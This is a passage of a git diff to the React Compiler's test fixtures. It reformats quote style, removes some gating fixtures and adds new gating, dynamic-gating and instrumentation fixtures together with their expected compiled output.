@@ -7,5 +7,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Jason" }],
+  params: [{name: 'Jason'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-with-store-to-parameter.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-with-store-to-parameter.expect.md
index 1803026c6397..0825fbc44c32 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-with-store-to-parameter.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-with-store-to-parameter.expect.md
@@ -19,29 +19,23 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(3);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = (object, key, value) => {
-      object.updated = true;
-      object[key] = value;
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const mutate = t0;
+  const $ = _c(2);
+  const mutate = _temp;
   let x;
-  if ($[1] !== props) {
+  if ($[0] !== props) {
     x = makeObject(props);
     mutate(x);
-    $[1] = props;
-    $[2] = x;
+    $[0] = props;
+    $[1] = x;
   } else {
-    x = $[2];
+    x = $[1];
   }
   return x;
 }
+function _temp(object, key, value) {
+  object.updated = true;
+  object[key] = value;
+}
 
 ```
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.expect.md
index 1f5bf7869384..2e2c403bf7b5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.expect.md
@@ -2,14 +2,14 @@
 ## Input
 
 ```javascript
-function Component(x = "default", y = [{}]) {
+function Component(x = 'default', y = [{}]) {
   return [x, y];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.js
index 3205a539173d..4be8f13526ea 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.js
@@ -1,9 +1,9 @@
-function Component(x = "default", y = [{}]) {
+function Component(x = 'default', y = [{}]) {
   return [x, y];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git "a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr\342\200\223conditional-access.expect.md" "b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr\342\200\223conditional-access.expect.md"
deleted file mode 100644
index 293ad3d1d3c6..000000000000
--- "a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr\342\200\223conditional-access.expect.md"
+++ /dev/null
@@ -1,58 +0,0 @@
-
-## Input
-
-```javascript
-// @enableTreatFunctionDepsAsConditional
-function Component(props) {
-  function getLength() {
-    return props.bar.length;
-  }
-
-  return props.bar && getLength();
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ bar: null }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableTreatFunctionDepsAsConditional
-function Component(props) {
-  const $ = _c(5);
-  let t0;
-  if ($[0] !== props) {
-    t0 = function getLength() {
-      return props.bar.length;
-    };
-    $[0] = props;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const getLength = t0;
-  let t1;
-  if ($[2] !== props.bar || $[3] !== getLength) {
-    t1 = props.bar && getLength();
-    $[2] = props.bar;
-    $[3] = getLength;
-    $[4] = t1;
-  } else {
-    t1 = $[4];
-  }
-  return t1;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ bar: null }],
-};
-
-```
-      
-### Eval output
-(kind: ok) null
\ No newline at end of file
diff --git "a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr\342\200\223conditional-access.js" "b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr\342\200\223conditional-access.js"
deleted file mode 100644
index 055fd0778fe1..000000000000
--- "a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr\342\200\223conditional-access.js"
+++ /dev/null
@@ -1,13 +0,0 @@
-// @enableTreatFunctionDepsAsConditional
-function Component(props) {
-  function getLength() {
-    return props.bar.length;
-  }
-
-  return props.bar && getLength();
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ bar: null }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-preserves-function-properties.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-preserves-function-properties.tsx
deleted file mode 100644
index 097af516f5d3..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-preserves-function-properties.tsx
+++ /dev/null
@@ -1,18 +0,0 @@
-// @gating
-
-export default function Component() {
-  return <></>;
-}
-
-export function Component2() {
-  return <></>;
-}
-
-Component.displayName = "Component ONE";
-Component2.displayName = "Component TWO";
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [],
-  sequentialRenders: [{}],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-default-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-default-function.js
deleted file mode 100644
index 2a8b7ea44bb4..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-default-function.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @gating @compilationMode(annotation)
-export default function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function-and-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function-and-default.expect.md
deleted file mode 100644
index 20d5ee82db22..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function-and-default.expect.md
+++ /dev/null
@@ -1,71 +0,0 @@
-
-## Input
-
-```javascript
-// @gating @compilationMode(annotation)
-export default function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-export function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
-
-```
-
-## Code
-
-```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating @compilationMode(annotation)
-const Bar = isForgetEnabled_Fixtures()
-  ? function Bar(props) {
-      "use forget";
-      const $ = _c(2);
-      let t0;
-      if ($[0] !== props.bar) {
-        t0 = <div>{props.bar}</div>;
-        $[0] = props.bar;
-        $[1] = t0;
-      } else {
-        t0 = $[1];
-      }
-      return t0;
-    }
-  : function Bar(props) {
-      "use forget";
-      return <div>{props.bar}</div>;
-    };
-export default Bar;
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-export const Foo = isForgetEnabled_Fixtures()
-  ? function Foo(props) {
-      "use forget";
-      const $ = _c(2);
-      let t0;
-      if ($[0] !== props.bar) {
-        t0 = <Foo>{props.bar}</Foo>;
-        $[0] = props.bar;
-        $[1] = t0;
-      } else {
-        t0 = $[1];
-      }
-      return t0;
-    }
-  : function Foo(props) {
-      "use forget";
-      return <Foo>{props.bar}</Foo>;
-    };
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function-and-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function-and-default.js
deleted file mode 100644
index afb28093075d..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function-and-default.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @gating @compilationMode(annotation)
-export default function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-export function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function.js
deleted file mode 100644
index eed7a0e67915..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @gating @compilationMode(annotation)
-export function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-export function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-export function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test.js
deleted file mode 100644
index b4c928754e76..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @gating @compilationMode(annotation)
-function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-with-hoisted-type-reference.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-with-hoisted-type-reference.flow.js
deleted file mode 100644
index 2678925fb91b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-with-hoisted-type-reference.flow.js
+++ /dev/null
@@ -1,10 +0,0 @@
-// @flow @gating
-import { memo } from "react";
-
-type Props = React.ElementConfig<typeof Component>;
-
-component Component(value: string) {
-  return <div>{value}</div>;
-}
-
-export default memo<Props>(Component);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/arrow-function-expr-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/arrow-function-expr-gating-test.expect.md
new file mode 100644
index 000000000000..298b4d59dfcf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/arrow-function-expr-gating-test.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @gating
+import {Stringify} from 'shared-runtime';
+const ErrorView = ({error, _retry}) => <Stringify error={error}></Stringify>;
+
+export default ErrorView;
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('ErrorView'),
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+import { Stringify } from "shared-runtime";
+const ErrorView = isForgetEnabled_Fixtures()
+  ? (t0) => {
+      const $ = _c(2);
+      const { error } = t0;
+      let t1;
+      if ($[0] !== error) {
+        t1 = <Stringify error={error} />;
+        $[0] = error;
+        $[1] = t1;
+      } else {
+        t1 = $[1];
+      }
+      return t1;
+    }
+  : ({ error, _retry }) => <Stringify error={error}></Stringify>;
+
+export default ErrorView;
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("ErrorView"),
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/arrow-function-expr-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/arrow-function-expr-gating-test.js
new file mode 100644
index 000000000000..4c6ab77596ec
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/arrow-function-expr-gating-test.js
@@ -0,0 +1,10 @@
+// @gating
+import {Stringify} from 'shared-runtime';
+const ErrorView = ({error, _retry}) => <Stringify error={error}></Stringify>;
+
+export default ErrorView;
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('ErrorView'),
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/codegen-instrument-forget-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/codegen-instrument-forget-gating-test.expect.md
new file mode 100644
index 000000000000..4f31c280775e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/codegen-instrument-forget-gating-test.expect.md
@@ -0,0 +1,116 @@
+
+## Input
+
+```javascript
+// @enableEmitInstrumentForget @compilationMode:"annotation" @gating
+
+function Bar(props) {
+  'use forget';
+  return <div>{props.bar}</div>;
+}
+
+function NoForget(props) {
+  return <Bar>{props.noForget}</Bar>;
+}
+
+function Foo(props) {
+  'use forget';
+  if (props.bar < 0) {
+    return props.children;
+  }
+  return (
+    <Foo bar={props.bar - 1}>
+      <NoForget />
+    </Foo>
+  );
+}
+
+global.DEV = true;
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Foo'),
+  params: [{bar: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+import { shouldInstrument, useRenderCounter } from "react-compiler-runtime";
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @enableEmitInstrumentForget @compilationMode:"annotation" @gating
+const Bar = isForgetEnabled_Fixtures()
+  ? function Bar(props) {
+      "use forget";
+      if (DEV && shouldInstrument)
+        useRenderCounter("Bar", "/codegen-instrument-forget-gating-test.ts");
+      const $ = _c(2);
+      let t0;
+      if ($[0] !== props.bar) {
+        t0 = <div>{props.bar}</div>;
+        $[0] = props.bar;
+        $[1] = t0;
+      } else {
+        t0 = $[1];
+      }
+      return t0;
+    }
+  : function Bar(props) {
+      "use forget";
+      return <div>{props.bar}</div>;
+    };
+
+function NoForget(props) {
+  return <Bar>{props.noForget}</Bar>;
+}
+const Foo = isForgetEnabled_Fixtures()
+  ? function Foo(props) {
+      "use forget";
+      if (DEV && shouldInstrument)
+        useRenderCounter("Foo", "/codegen-instrument-forget-gating-test.ts");
+      const $ = _c(3);
+
+      if (props.bar < 0) {
+        return props.children;
+      }
+
+      const t0 = props.bar - 1;
+      let t1;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t1 = <NoForget />;
+        $[0] = t1;
+      } else {
+        t1 = $[0];
+      }
+      let t2;
+      if ($[1] !== t0) {
+        t2 = <Foo bar={t0}>{t1}</Foo>;
+        $[1] = t0;
+        $[2] = t2;
+      } else {
+        t2 = $[2];
+      }
+      return t2;
+    }
+  : function Foo(props) {
+      "use forget";
+      if (props.bar < 0) {
+        return props.children;
+      }
+      return (
+        <Foo bar={props.bar - 1}>
+          <NoForget />
+        </Foo>
+      );
+    };
+
+global.DEV = true;
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Foo"),
+  params: [{ bar: 2 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/codegen-instrument-forget-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/codegen-instrument-forget-gating-test.js
new file mode 100644
index 000000000000..425b99da8bc4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/codegen-instrument-forget-gating-test.js
@@ -0,0 +1,28 @@
+// @enableEmitInstrumentForget @compilationMode:"annotation" @gating
+
+function Bar(props) {
+  'use forget';
+  return <div>{props.bar}</div>;
+}
+
+function NoForget(props) {
+  return <Bar>{props.noForget}</Bar>;
+}
+
+function Foo(props) {
+  'use forget';
+  if (props.bar < 0) {
+    return props.children;
+  }
+  return (
+    <Foo bar={props.bar - 1}>
+      <NoForget />
+    </Foo>
+  );
+}
+
+global.DEV = true;
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Foo'),
+  params: [{bar: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/component-syntax-ref-gating.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/component-syntax-ref-gating.flow.expect.md
new file mode 100644
index 000000000000..410b65124460
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/component-syntax-ref-gating.flow.expect.md
@@ -0,0 +1,61 @@
+
+## Input
+
+```javascript
+// @flow @gating
+import {Stringify} from 'shared-runtime';
+import * as React from 'react';
+
+component Foo(ref: React.RefSetter<Controls>) {
+  return <Stringify ref={ref} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('(...args) => React.createElement(Foo, args)'),
+  params: [{ref: React.createRef()}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
+import { Stringify } from "shared-runtime";
+import * as React from "react";
+
+const Foo = React.forwardRef(Foo_withRef);
+const isForgetEnabled_Fixtures_result = isForgetEnabled_Fixtures();
+function Foo_withRef_optimized(_$$empty_props_placeholder$$, ref) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== ref) {
+    t0 = <Stringify ref={ref} />;
+    $[0] = ref;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+function Foo_withRef_unoptimized(
+  _$$empty_props_placeholder$$: $ReadOnly<{}>,
+  ref: React.RefSetter<Controls>,
+): React.Node {
+  return <Stringify ref={ref} />;
+}
+function Foo_withRef(arg0, arg1) {
+  if (isForgetEnabled_Fixtures_result) return Foo_withRef_optimized(arg0, arg1);
+  else return Foo_withRef_unoptimized(arg0, arg1);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("(...args) => React.createElement(Foo, args)"),
+  params: [{ ref: React.createRef() }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"ref":null}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/component-syntax-ref-gating.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/component-syntax-ref-gating.flow.js
new file mode 100644
index 000000000000..02bed83cb21e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/component-syntax-ref-gating.flow.js
@@ -0,0 +1,12 @@
+// @flow @gating
+import {Stringify} from 'shared-runtime';
+import * as React from 'react';
+
+component Foo(ref: React.RefSetter<Controls>) {
+  return <Stringify ref={ref} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('(...args) => React.createElement(Foo, args)'),
+  params: [{ref: React.createRef()}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/conflicting-gating-fn.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/conflicting-gating-fn.expect.md
new file mode 100644
index 000000000000..ca6f518032bc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/conflicting-gating-fn.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @gating
+
+export const isForgetEnabled_Fixtures = () => {
+  'use no forget';
+  return false;
+};
+
+export function Bar(props) {
+  'use forget';
+  return <div>{props.bar}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures as _isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+
+export const isForgetEnabled_Fixtures = () => {
+  "use no forget";
+  return false;
+};
+
+export const Bar = _isForgetEnabled_Fixtures()
+  ? function Bar(props) {
+      "use forget";
+      const $ = _c(2);
+      let t0;
+      if ($[0] !== props.bar) {
+        t0 = <div>{props.bar}</div>;
+        $[0] = props.bar;
+        $[1] = t0;
+      } else {
+        t0 = $[1];
+      }
+      return t0;
+    }
+  : function Bar(props) {
+      "use forget";
+      return <div>{props.bar}</div>;
+    };
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Bar"),
+  params: [{ bar: 2 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>2</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/conflicting-gating-fn.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/conflicting-gating-fn.js
new file mode 100644
index 000000000000..3e5757dc9157
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/conflicting-gating-fn.js
@@ -0,0 +1,16 @@
+// @gating
+
+export const isForgetEnabled_Fixtures = () => {
+  'use no forget';
+  return false;
+};
+
+export function Bar(props) {
+  'use forget';
+  return <div>{props.bar}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-annotation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-annotation.expect.md
new file mode 100644
index 000000000000..364239e4e3a2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-annotation.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"} @compilationMode:"annotation"
+
+function Foo() {
+  'use memo if(getTrue)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { getTrue } from "shared-runtime"; // @dynamicGating:{"source":"shared-runtime"} @compilationMode:"annotation"
+const Foo = getTrue()
+  ? function Foo() {
+      "use memo if(getTrue)";
+      const $ = _c(1);
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = <div>hello world</div>;
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : function Foo() {
+      "use memo if(getTrue)";
+      return <div>hello world</div>;
+    };
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>hello world</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-annotation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-annotation.js
new file mode 100644
index 000000000000..c30b30fe6f5f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-annotation.js
@@ -0,0 +1,11 @@
+// @dynamicGating:{"source":"shared-runtime"} @compilationMode:"annotation"
+
+function Foo() {
+  'use memo if(getTrue)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-bailout-nopanic.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-bailout-nopanic.expect.md
new file mode 100644
index 000000000000..535f98e574f3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-bailout-nopanic.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"} @validatePreserveExistingMemoizationGuarantees @panicThreshold:"none" @loggerTestOnly @validateExhaustiveMemoizationDependencies:false
+
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
+
+function Foo({value}) {
+  'use memo if(getTrue)';
+
+  const initialValue = useMemo(() => identity(value), []);
+  return (
+    <>
+      <div>initial value {initialValue}</div>
+      <div>current value {value}</div>
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{value: 1}],
+  sequentialRenders: [{value: 1}, {value: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"} @validatePreserveExistingMemoizationGuarantees @panicThreshold:"none" @loggerTestOnly @validateExhaustiveMemoizationDependencies:false
+
+import { useMemo } from "react";
+import { identity } from "shared-runtime";
+
+function Foo({ value }) {
+  "use memo if(getTrue)";
+
+  const initialValue = useMemo(() => identity(value), []);
+  return (
+    <>
+      <div>initial value {initialValue}</div>
+      <div>current value {value}</div>
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ value: 1 }],
+  sequentialRenders: [{ value: 1 }, { value: 2 }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","fnLoc":{"start":{"line":6,"column":0,"index":255},"end":{"line":16,"column":1,"index":482},"filename":"dynamic-gating-bailout-nopanic.ts"},"detail":{"options":{"category":"PreserveManualMemo","reason":"Existing memoization could not be preserved","description":"React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `value`, but the source dependencies were []. Inferred dependency not present in source","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":9,"column":31,"index":337},"end":{"line":9,"column":52,"index":358},"filename":"dynamic-gating-bailout-nopanic.ts"},"message":"Could not preserve existing manual memoization"}]}}}
+```
+      
+### Eval output
+(kind: ok) <div>initial value 1</div><div>current value 1</div>
+<div>initial value 1</div><div>current value 2</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-bailout-nopanic.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-bailout-nopanic.js
new file mode 100644
index 000000000000..381c2d4c5657
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-bailout-nopanic.js
@@ -0,0 +1,22 @@
+// @dynamicGating:{"source":"shared-runtime"} @validatePreserveExistingMemoizationGuarantees @panicThreshold:"none" @loggerTestOnly @validateExhaustiveMemoizationDependencies:false
+
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
+
+function Foo({value}) {
+  'use memo if(getTrue)';
+
+  const initialValue = useMemo(() => identity(value), []);
+  return (
+    <>
+      <div>initial value {initialValue}</div>
+      <div>current value {value}</div>
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{value: 1}],
+  sequentialRenders: [{value: 1}, {value: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-disabled.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-disabled.expect.md
new file mode 100644
index 000000000000..7d95b54317d4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-disabled.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"}
+
+function Foo() {
+  'use memo if(getFalse)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { getFalse } from "shared-runtime"; // @dynamicGating:{"source":"shared-runtime"}
+const Foo = getFalse()
+  ? function Foo() {
+      "use memo if(getFalse)";
+      const $ = _c(1);
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = <div>hello world</div>;
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : function Foo() {
+      "use memo if(getFalse)";
+      return <div>hello world</div>;
+    };
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
